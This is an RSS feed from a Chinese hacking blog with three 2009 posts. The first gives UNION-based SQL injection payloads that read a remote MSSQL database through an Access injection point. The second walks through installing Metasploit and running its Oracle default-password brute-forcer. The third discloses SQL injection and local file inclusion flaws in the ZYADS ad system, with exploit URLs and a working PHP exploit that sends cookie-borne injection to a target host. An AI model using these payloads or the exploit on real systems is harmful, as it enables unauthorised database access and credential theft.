<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>心动吧黑客BLOG</title><link>http://www.abcxd.com/abcxd/</link><description>心动吧官方网 您的选择</description><generator>RainbowSoft Studio Z-Blog 1.8 Spirit Build 80722</generator><language>zh-CN</language><copyright>Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved</copyright><pubDate>Tue, 19 Jan 2010 23:07:11 +0800</pubDate><item><title>Access注射点如何读取MSSQL数据库内容</title><author>a@b.com (kissjetg)</author><link>http://www.abcxd.com/abcxd/abcxdArticle/SQLoday/AccessToMssql.html</link><pubDate>Thu, 22 Oct 2009 15:34:22 +0800</pubDate><guid>http://www.abcxd.com/abcxd/abcxdArticle/SQLoday/AccessToMssql.html</guid><description><![CDATA[<div class="ContentFont" id="NewaspContentLabel" style="padding-right: 10px; display: block; padding-left: 10px; padding-bottom: 0px; padding-top: 0px"><font id="font_word" style="font-size: 14px; font-family: 宋体, Verdana, Arial, Helvetica, sans-serif">
<p><font size="2">作者:皇子</font></p>
<p><font size="2">首先说明一点，这个方法很早就有了，不过用时大概在脑袋里沉寂太久，已经处于忘却状态。感谢Trace提供资料。</font></p>
<p><font size="2">经常会遇到任意文件下载漏洞,一般处理的方法是把数据库连接文件下载回来,然后远程连接上去。最理想的状态莫过于MSSQL和MYSQL，尤其是在数据库 和WEB不分离的情况下，备分SHELL，导出SHELL，可以用的方法很多。不过要是数据库和WEB分离，而且数据库在内网不可上网，或者有防火墙等等 其他手段使得我们无法连上远程数据库时，不妨假设的再艰难一些，甚至无法找到一个</font><font color="#3b5a4a" size="2">mssql</font><font size="2">注射点时，很多情况下通常会束手无策。</font></p>
<p><font size="2">这里以 MSSQL为例子，很凑巧找到一个任意文件下载漏洞，直接下了WEB.CONFIG回来看，发现数据库在内网，找了半天没找到注射点，稍微旁注一下，有一 个站，可惜是ACCESS数据库。猜不到表和后台。不过目标站的后台是知道的，然后准备从这个</font><font color="#3b5a4a" size="2">access</font><font size="2">注射点读出目标站管理员帐户。直观一些，下面直 接给出我本地测试结果:</font></p>
<p><font size="2">如图</font></p>
<br />
<div><img height="133" alt="1.jpg  大小: 19.51 K 尺寸: 302 x 133 浏览: 0 次 点击打开新窗口浏览全图" src="http://www.abcxd.com/abcxd/upload/200910221535467168.jpg" width="302" onload="return imgzoom(this,550)" border="0" /></div>
<br />
<p><font size="2">弄的简单一点，就3个字段，ID，XM，XB，ID数字型，后面2个字符型。<br />
假设存在漏洞的文件中，执行SQL语句 select * from test whrere id = 1<br />
这里有3个字段，我们用UNION联合查询给他匹配一下就是（黑盒操作时用order by 或者穷举来确定字段个数）<br />
<font color="#ff0000">SELECT&nbsp;*&nbsp;FROM&nbsp;test&nbsp;where&nbsp;id=999999&nbsp;union&nbsp;Select&nbsp;top&nbsp;1&nbsp;1,2,name&nbsp;from&nbsp;[ODBC;Driver=SQL&nbsp;Server;UID=dbo;PWD=dba;Server=*****;DataBase</font><font color="#ff0000">=master].ku</font>&nbsp;</font></p>
<br />
<p><font size="2">这里的master库中我建立了一个名为KU的表，上面这个查询语句中，由于id=999999不存在，在联合查询的作用下，web上原本显示access数据库内容的位置显示出了我们构造的UNION查询结果，name字段处于一个字符型的显示位置<br />
如图</font></p>
<br />
<div><img height="74" alt="2.jpg  大小: 5.25 K 尺寸: 200 x 74 浏览: 0 次 点击打开新窗口浏览全图" src="http://www.abcxd.com/abcxd/upload/200910221535467558.jpg" width="200" onload="return imgzoom(this,550)" border="0" /></div>
<br />
<p><font size="2">ku这个表里的name字段内容就会被显示在web上相应的位置，不过这个显然不是我们想要的，我们要的是整个表的结构和内容<br />
以master为例子，这里是模拟的结果，事先我已经知道master的结构,待会方便和结果比对校验是否有错，如图</font></p>
<br />
<div><img height="105" alt="3.jpg  大小: 4.76 K 尺寸: 199 x 105 浏览: 1 次 点击打开新窗口浏览全图" src="http://www.abcxd.com/abcxd/upload/200910221535466447.jpg" width="199" onload="return imgzoom(this,550)" border="0" /><font size="2"><br />
<br />
<font color="#ff0000">SELECT&nbsp;*&nbsp;FROM&nbsp;test&nbsp;where&nbsp;id=999999&nbsp;union&nbsp;Select&nbsp;top&nbsp;1&nbsp;1,2,table_name&nbsp;from&nbsp;[ODBC;Driver=SQL&nbsp;Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables<font color="#333333"><br />
<br />
这样master库的第一个表名就出来了</font><br />
</font>如图</font></div>
<br />
<div><img height="75" alt="4.jpg  大小: 5.49 K 尺寸: 199 x 75 浏览: 0 次 点击打开新窗口浏览全图" src="http://www.abcxd.com/abcxd/upload/200910221535465308.jpg" width="199" onload="return imgzoom(this,550)" border="0" /></div>
<br />
<p><font size="2">获得后面的表名也很简单<br />
<font color="#ff0000">SELECT&nbsp;*&nbsp;FROM&nbsp;test&nbsp;where&nbsp;id=999999&nbsp;union&nbsp;Select&nbsp;top&nbsp;1&nbsp;1,2,table_name&nbsp;from&nbsp;[ODBC;Driver=SQL&nbsp;Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables&nbsp;where&nbsp;table_name&nbsp;not&nbsp;in&nbsp;(select&nbsp;top&nbsp;1&nbsp;table_name&nbsp;from&nbsp;[ODBC;Driver=SQL&nbsp;Server;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.tables)</font></font></p>
<br />
<p><font size="2">如图</font></p>
<br />
<div><img height="73" alt="5.jpg  大小: 5.17 K 尺寸: 199 x 73 浏览: 0 次 点击打开新窗口浏览全图" src="http://www.abcxd.com/abcxd/upload/200910221535465273.jpg" width="199" onload="return imgzoom(this,550)" border="0" /></div>
<br />
<p><font size="2">以次类以常规方法推取得字段名和字段内容,代码烦琐自行研究下。</font></p>
<p><font size="2">如果数据库里的ID是字符型，则<br />
<font color="#ff0000">SELECT&nbsp;*&nbsp;FROM&nbsp;test&nbsp;where&nbsp;id='999999'&nbsp;union&nbsp;Select&nbsp;top&nbsp;1&nbsp;1,2,table_name&nbsp;from&nbsp;[ODBC;Driver=SQL&nbsp;Server;UID=dbo;PWD=dba;Server=***;DataBase=master].information_schema.tables&nbsp;where&nbsp;'1'='1'</font>&nbsp;</font></p>
</font></div>
<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/SQLoday/AccessToMssql.html" target="_blank">继续阅读《Access注射点如何读取MSSQL数据库内容》的全文内容...</a></p><p>分类: <a href="http://www.abcxd.com/abcxd/abcxdArticle/SQLoday.html">(G:)SQL数据库漏洞</a> | Tags: <a href="http://www.abcxd.com/abcxd/catalog.asp?tags=Access">Access</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=MSSQL">MSSQL</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E6%B3%A8%E5%B0%84%E7%82%B9">注射点</a>&nbsp;&nbsp; | <a href="http://www.abcxd.com/abcxd/abcxdArticle/SQLoday/AccessToMssql.html#comment" target="_blank">添加评论</a>(0)</p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/hackeer/MsSql-chufaqi.html" title="MsSql 触发器后门">MsSql 触发器后门</a>&nbsp;&nbsp;(2009-8-5 11:17:42)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/xiaoji/Groupby-having.html" title="MSSQL注入利用Group by&having猜表名和字段名">MSSQL注入利用Group by&having猜表名和字段名</a>&nbsp;&nbsp;(2009-5-2 14:17:29)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/hackeer/SQLiHelper2.6.html" title="SQLiHelper 2.6注射器">SQLiHelper 2.6注射器</a>&nbsp;&nbsp;(2009-4-1 1:15:33)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/SQLoday/MSSQL-HASH.html" title="破解MSSQL中的HASH密码">破解MSSQL中的HASH密码</a>&nbsp;&nbsp;(2009-3-30 1:53:25)</p></ul>]]></description><category>(G:)SQL数据库漏洞</category><comments>http://www.abcxd.com/abcxd/abcxdArticle/SQLoday/AccessToMssql.html#comment</comments><wfw:comment>http://www.abcxd.com/abcxd/</wfw:comment><wfw:commentRss>http://www.abcxd.com/abcxd/feed.asp?cmt=298</wfw:commentRss><trackback:ping>http://www.abcxd.com/abcxd/cmd.asp?act=tb&amp;id=298&amp;key=d852d3c9</trackback:ping></item><item><title>Linux下安装Metasploit破解Oracle登录用户名密码</title><author>a@b.com (kissjetg)</author><link>http://www.abcxd.com/abcxd/abcxdArticle/linuxoday/Linux-Metasploit.html</link><pubDate>Thu, 22 Oct 2009 15:31:42 +0800</pubDate><guid>http://www.abcxd.com/abcxd/abcxdArticle/linuxoday/Linux-Metasploit.html</guid><description><![CDATA[<p>最近在搞oracle，一些小东西记录一下。&nbsp;<br />
<br />
Metasploit是一个很好的攻击工具包，当然我们这次不是介绍这个工具包的，主要是大牛MC写了很多oracle的工具，在最近会经常用。我主要会用到经典工具tnscmd移植到MSF中的小工具（不如pl的好用，没换行，看结果很累），sid_brute和login_brute，用的最多的还是暴力破解oracle用户名和密码的login_brute。下面就说下怎么安装和使用，主要是安装，因为有些需要注意的东西，请注意斜体字。&nbsp;<br />
<br />
1、先装gcc编译环境&nbsp;（我用的server比较惨，最小安装，系统也老，FC2。）&nbsp;<br />
<br />
rpm&nbsp;-ivh&nbsp;cpp-3.3.3-7.i386.rpm&nbsp;<br />
rpm&nbsp;-ivh&nbsp;glibc-kernheaders-2.4-8.44.i386.rpm<br />
rpm&nbsp;-ivh&nbsp;glibc-headers-2.3.3-27.i386.rpm<br />
rpm&nbsp;-ivh&nbsp;glibc-devel-2.3.3-27.i386.rpm<br />
rpm&nbsp;-ivh&nbsp;binutils-2.15.90.0.3-5.i386.rpm<br />
rpm&nbsp;-ivh&nbsp;gcc-3.3.3-7.i386.rpm&nbsp;<br />
<br />
2、安装oracle客户端<br />
<br />
下载：<a href="http://www.oracle.com/technology/software/tech/oci/instantclient/htdocs/linuxsoft.html" target="_blank">http://www.oracle.com/technology/software/tech/oci/instantclient/htdocs/linuxsoft.html</a><br />
rpm包安装比较省事,当然你也可以下载压缩包安装，按照说明来装即可。&nbsp;<br />
<br />
rpm&nbsp;-ivh&nbsp;oracle-instantclient11.1-basic-11.1.0.7.0-1.i386.rpm&nbsp;oracle-instantclient11.1-devel-11.1.0.7.0-1.i386.rpm&nbsp;oracle-&nbsp;instantclient11.1-sqlplus-11.1.0.7.0-1.i386.rpm&nbsp;<br />
<br />
装完后，执行下面2条命令，同时设置在环境变量里，加入到/etc/profile最后即可：&nbsp;<br />
<br />
LD_LIBRARY_PATH=/usr/lib/oracle/11.1/client/lib/<br />
export&nbsp;LD_LIBRARY_PATH&nbsp;<br />
<br />
3、装ruby<br />
<br />
下载：<a href="http://www.ruby-lang.org/en/downloads/" target="_blank">http://www.ruby-lang.org/en/downloads/</a><br />
<br />
tar&nbsp;zxvf&nbsp;ruby-1.8.5-p231.tar.bz2&nbsp;&nbsp;&nbsp;#（这个注意下，不要装1.9的版本，否则会出现MSF不能读CSV文件的问题,报NameError&nbsp;uninitialized&nbsp;constant&nbsp;CSV::Reader错误）<br />
cd&nbsp;ruby-1.8.5-p231<br />
./configure&nbsp;<br />
make&nbsp;&amp;&amp;&nbsp;make&nbsp;install&nbsp;<br />
<br />
4、装ruby-oci8<br />
<br />
安装说明：<a href="http://ruby-oci8.rubyforge.org/en/InstallForInstantClient.html" target="_blank">http://ruby-oci8.rubyforge.org/en/InstallForInstantClient.html</a><br />
下载：<a href="http://rubyforge.org/projects/ruby-oci8/" target="_blank">http://rubyforge.org/projects/ruby-oci8/</a><br />
这个ruby-oci8-1.0.6版本或者&nbsp;ruby-oci8-2.0.0都可以。<br />
安装前要确认环境变量，即sqlplus能正常运行就可：<br />
LD_LIBRARY_PATH=/usr/lib/oracle/10.2.0.3/client/lib<br />
export&nbsp;LD_LIBRARY_PATH&nbsp;<br />
<br />
tar&nbsp;zxvf&nbsp;ruby-oci8-2.0.0.tar.gz<br />
cd&nbsp;ruby-oci8-2.0.0<br />
make<br />
make&nbsp;install&nbsp;<br />
<br />
5、装ruby-dbi<br />
<br />
下载：<a href="http://rubyforge.org/frs/?group_id=234" target="_blank">http://rubyforge.org/frs/?group_id=234</a><br />
用dbi-0.2.2，一定不要新过这个版本，否则MSF会报&ldquo;The&nbsp;dbi&nbsp;module&nbsp;is&nbsp;not&nbsp;available!&rdquo;错误。&nbsp;<br />
<br />
cd&nbsp;dbi-0.2.2<br />
ruby&nbsp;setup.rb&nbsp;config&nbsp;--with=dbi,dbd_oracle&nbsp;&nbsp;#（--with=dbi,dbd_oracle这个参数一定要，否则还是报dbi错误）<br />
ruby&nbsp;setup.rb&nbsp;setup<br />
ruby&nbsp;setup.rb&nbsp;install&nbsp;<br />
<br />
6、下载安装使用MSF&nbsp;<br />
<br />
svn&nbsp;co&nbsp;<a href="http://metasploit.com/svn/framework3/trunk/&nbsp;./" target="_blank">http://metasploit.com/svn/framework3/trunk/&nbsp;./</a><br />
./msfconsole&nbsp;<br />
<br />
如果msf报错缺少openssl、zlib、gem，则需要先装下。<br />
<br />
rpm&nbsp;-ivh&nbsp;openssl-devel-0.9.7a-35.i386.rpm&nbsp;<br />
cd&nbsp;ruby-1.8.5-p231/ext/openssl<br />
ruby&nbsp;extconf.rb<br />
make<br />
make&nbsp;install&nbsp;<br />
<br />
装zlib&nbsp;<br />
<br />
cd&nbsp;ruby-1.8.5-p231/ext/zlib<br />
ruby&nbsp;extconf.rb<br />
make<br />
make&nbsp;install&nbsp;<br />
<br />
装gem&nbsp;<br />
<br />
tar&nbsp;zxvf&nbsp;rubygems-1.3.1.tgz<br />
cd&nbsp;rubygems-1.3.1<br />
ruby&nbsp;setup.rb&nbsp;all&nbsp;<br />
<br />
一切ok就可以运行了（如果还缺别的按要求装上，用gem安装ruby模块很方便）：&nbsp;<br />
<br />
msf&nbsp;&gt;&nbsp;use&nbsp;auxiliary/admin/oracle/login_brute<br />
msf&nbsp;auxiliary(login_brute)&nbsp;&gt;&nbsp;set&nbsp;RHOST&nbsp;192.168.0.11<br />
RHOST&nbsp;=&gt;&nbsp;192.168.0.11<br />
msf&nbsp;auxiliary(login_brute)&nbsp;&gt;&nbsp;set&nbsp;SID&nbsp;oracle<br />
SID&nbsp;=&gt;&nbsp;oracle<br />
msf&nbsp;auxiliary(login_brute)&nbsp;&gt;&nbsp;info&nbsp;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Name:&nbsp;Oracle&nbsp;brute&nbsp;forcer&nbsp;for&nbsp;known&nbsp;default&nbsp;accounts.<br />
&nbsp;&nbsp;&nbsp;&nbsp;Version:&nbsp;6876<br />
&nbsp;&nbsp;&nbsp;&nbsp;License:&nbsp;Metasploit&nbsp;Framework&nbsp;License&nbsp;(BSD)&nbsp;<br />
<br />
Provided&nbsp;by:<br />
&nbsp;&nbsp;MC&nbsp;&lt;mc@metasploit.com&gt;&nbsp;<br />
<br />
Basic&nbsp;options:<br />
&nbsp;&nbsp;Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Current&nbsp;Setting&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Required&nbsp;&nbsp;Description<br />
&nbsp;&nbsp;----&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;---------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--------&nbsp;&nbsp;-----------<br />
&nbsp;&nbsp;CSVFILE&nbsp;&nbsp;/root/msf3/data/wordlists/oracle_default_passwords.csv&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The&nbsp;file&nbsp;that&nbsp;contains&nbsp;a&nbsp;list&nbsp;of&nbsp;default&nbsp;accounts.<br />
&nbsp;&nbsp;RHOST&nbsp;&nbsp;&nbsp;&nbsp;192.168.0.11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The&nbsp;Oracle&nbsp;host.<br />
&nbsp;&nbsp;RPORT&nbsp;&nbsp;&nbsp;&nbsp;1521&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The&nbsp;TNS&nbsp;port.<br />
&nbsp;&nbsp;SID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oracle&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The&nbsp;sid&nbsp;to&nbsp;authenticate&nbsp;with.&nbsp;<br />
<br />
Description:<br />
&nbsp;&nbsp;This&nbsp;module&nbsp;uses&nbsp;a&nbsp;list&nbsp;of&nbsp;well&nbsp;known&nbsp;authentication&nbsp;credentials&nbsp;for&nbsp;<br />
&nbsp;&nbsp;bruteforcing&nbsp;the&nbsp;TNS&nbsp;service.&nbsp;A&nbsp;log&nbsp;file&nbsp;of&nbsp;discoverd&nbsp;credentials&nbsp;<br />
&nbsp;&nbsp;can&nbsp;be&nbsp;found&nbsp;in&nbsp;./data/wordlists/oracle_default_found.log.&nbsp;<br />
<br />
References:<br />
<a href="https://www.metasploit.com/users/mc" target="_blank">https://www.metasploit.com/users/mc</a><br />
<a href="http://www.petefinnigan.com/default/oracle_default_passwords.csv" target="_blank">http://www.petefinnigan.com/default/oracle_default_passwords.csv</a><br />
msf&nbsp;auxiliary(login_brute)&nbsp;&gt;&nbsp;run&nbsp;<br />
<br />
破解结果会存在MSF目录下data/wordlists/oracle_default_found.log文件里面。<br />
&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/linuxoday/Linux-Metasploit.html" target="_blank">继续阅读《Linux下安装Metasploit破解Oracle登录用户名密码》的全文内容...</a></p><p>分类: <a href="http://www.abcxd.com/abcxd/abcxdArticle/linuxoday.html">(K:)Linux漏洞</a> | Tags: <a href="http://www.abcxd.com/abcxd/catalog.asp?tags=Metasploit">Metasploit</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=Linux">Linux</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=Oracle">Oracle</a>&nbsp;&nbsp; | <a href="http://www.abcxd.com/abcxd/abcxdArticle/linuxoday/Linux-Metasploit.html#comment" target="_blank">添加评论</a>(1)</p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/linuxoday/Linux-Kernel-Root.html" title="Linux Kernel 2.x sock_sendpage() Local Ring0 Root Exploit">Linux Kernel 2.x sock_sendpage() Local Ring0 Root Exploit</a>&nbsp;&nbsp;(2009-8-16 12:47:53)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/oracle/251.html" title="使用低权限Oracle数据库账户得到OS访问权限">使用低权限Oracle数据库账户得到OS访问权限</a>&nbsp;&nbsp;(2009-6-10 1:6:23)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/oracle/jishuwendang.html" title="oracle技术文档">oracle技术文档</a>&nbsp;&nbsp;(2009-5-26 20:22:57)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/linuxoday/LinuxKernel2.6-141.html" title="Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit">Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit</a>&nbsp;&nbsp;(2009-5-1 16:17:16)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/linuxoday/Linux-UDEV-tiquan.html" title="Linux爆本地提权漏洞 请立即更新udev程序">Linux爆本地提权漏洞 请立即更新udev程序</a>&nbsp;&nbsp;(2009-4-25 1:8:8)</p></ul>]]></description><category>(K:)Linux漏洞</category><comments>http://www.abcxd.com/abcxd/abcxdArticle/linuxoday/Linux-Metasploit.html#comment</comments><wfw:comment>http://www.abcxd.com/abcxd/</wfw:comment><wfw:commentRss>http://www.abcxd.com/abcxd/feed.asp?cmt=297</wfw:commentRss><trackback:ping>http://www.abcxd.com/abcxd/cmd.asp?act=tb&amp;id=297&amp;key=51aab140</trackback:ping></item><item><title>中易广告联盟系统(ZYADS) sql注入和本地包含漏洞</title><author>a@b.com (kissjetg)</author><link>http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/ZYADS.com.html</link><pubDate>Thu, 22 Oct 2009 15:27:09 +0800</pubDate><guid>http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/ZYADS.com.html</guid><description><![CDATA[<p>中易广告联盟系统(ZYADS) sql注入和本地包含漏洞</p>
<p>在index/news.php 1-31行<br />
&nbsp;</p>
<div class="codes">
<pre class="php" name="code">
&lt;?
include_once(&quot;top.php&quot;);

      $newsid = intval($_GET['id']);
      
      $to_type = addslashes($_GET['type']);
      
      if ($to_type=='index')
      {
          $to_type_s =&quot; and to_type=1&quot;;
      }
      
       if ($to_type=='webuser')
      {
          $to_type_s =&quot; and to_type!=3&quot;;
      }
      
       if ($to_type=='webadver')
      {
          $to_type_s =&quot; and to_type!=2&quot;;
      }
      
      $newssql = 'select * from zyads_news WHERE `id` ='' . $newsid . '' 

'.$to_type_s.'';
    
      $newsre=$db-&gt;query($newssql);
      $newsrow = $db-&gt;fetch_array($newsre);
      if (empty($newsrow)){

        zyads_message('zyads_news');
      }
?&gt;
</pre>
<p>可以看到$to_type没定义或者不等于index，webuser，webadver的话 那么$to_type_s是没有定义的</p>
<p>这时候我们就可以提交一个$to_type_s变量来进行sql注入。简单的注入，呵呵。</p>
<p>在/code/adview_cpa_html.php 1-46行<br />
&nbsp;</p>
<div class="codes">
<pre class="php" name="code">
&lt;?php
/*********************/
/*                   */
/*  Version : 5.1.0  */
/*  Author  : RM     */
/*  Comment : 071223 */
/*                   */
/*********************/

_obfuscate_JQYdYn1jfBI( );
define( &quot;IN_ZYADS&quot;, TRUE );
$name = $_GET['name'];
$adid = $_GET['adid'];
$offsetwidth = $_GET['offsetwidth'];
$site = $_GET['site'];
$click_url = &quot;http://www.erzhi.cn&quot;;
$count_url = &quot;http://www.erzhi.cn&quot;;
if ( empty( $name ) || empty( $adid ) || empty( $site ) )
{
        exit( &quot;广告出错&quot; );
}
@require( &quot;../user/c/&quot;.$name.&quot;/user_info.php&quot; );
require( &quot;../include/soft_class.php&quot; );
require( &quot;../include/settings.php&quot; );
$code = new _obfuscate_Y2xpZW50( );
$getip = $code-&gt;_obfuscate_Z2V0aXA( );
$getbrowse = $code-&gt;_obfuscate_Z2V0YnJvd3Nl( );
$getos = $code-&gt;_obfuscate_Z2V0b3M( );
$maketime = time( ) + $setting['zyads_date'] * 3600;
$maketime = $maketime;
$strbas = $code-&gt;_obfuscate_cGFzc3BvcnRfZW5jcnlwdA( 

$getip.&quot;|&quot;.$maketime.&quot;|&quot;.$getbrowse.&quot;|&quot;.$getos, $setting['url_pwd'] );
$strbas = _obfuscate_IGI7aGd_LDRuMD0VZg( $strbas );
if ( $zyads_users['flag'] != 2 )
{
        echo &quot;document.write('帐号被锁定');&quot;;
        exit( );
}
if ( _obfuscate_Cx96BhhwZxABPA8( &quot;../cache/cpa/&quot;.$adid.&quot;.php&quot; ) )
{
        require( &quot;../cache/cpa/&quot;.$adid.&quot;.php&quot; );
}
else
{
        exit( &quot;文件丢失-&quot;.$adid.&quot;.php&quot; );
}
</pre>
<p>$name，$adid这两个变量都能造成本地包含漏洞</p>
<p>不过$adid好利用点。</p>
<p>exp：/code/adview_cpa_html.php?name=admin&amp;adid=../../index&amp;site=www.xxx.com</p>
<p>最后附上一个exp，只是简单的cookie提交参数&nbsp; 为了隐蔽点 呵呵<br />
&nbsp;</p>
<div class="codes">
<pre class="php" name="code">
&lt;?php
//by q1ur3n
//team: http://www.wolvez.org
//exp : zyads.php?site=www.tx8688.com&amp;id=and 1=2 union select 1,2,3,4,5,6%23
//敏感信息表信息：
/*
DROP TABLE IF EXISTS zyads_admin;
CREATE TABLE zyads_admin (
   id int(11) NOT NULL auto_increment,
   username varchar(20) NOT NULL,
   pwd varchar(50) NOT NULL,
   login_num int(11) NOT NULL,
   last_time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,
   islock int(1) NOT NULL,
   ip varchar(20) NOT NULL,
   admin_flag varchar(200) NOT NULL,
   addtime datetime NOT NULL,
   PRIMARY KEY (id)
);

*/

$host = $_GET['site'];
$cmd='to_type_s='.urlencode(stripcslashes($_REQUEST[&quot;id&quot;]));

$message = &quot;GET /index/news.php?id=89  HTTP/1.1 &quot;;
$message .= &quot;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-

shockwave-flash, */* &quot;;
$message .= &quot;Referer: http://www.baidu.com/ &quot;;
$message .= &quot;Accept-Language: zh-cn &quot;;
$message .= &quot;Content-Type: application/x-www-form-urlencoded &quot;;
$message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) &quot;;
$message .= &quot;Host: $host &quot;;
$message .= &quot;Connection: Close &quot;;
$message .= &quot;Cookie: &quot;.$cmd.&quot; &quot;;
//echo $message;
       
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp &amp;&amp; !feof($fp))
$resp .= fread($fp, 1024);
echo $resp;
fclose($fp);
       
?&gt;
</pre>
</div>
</div>
</div>
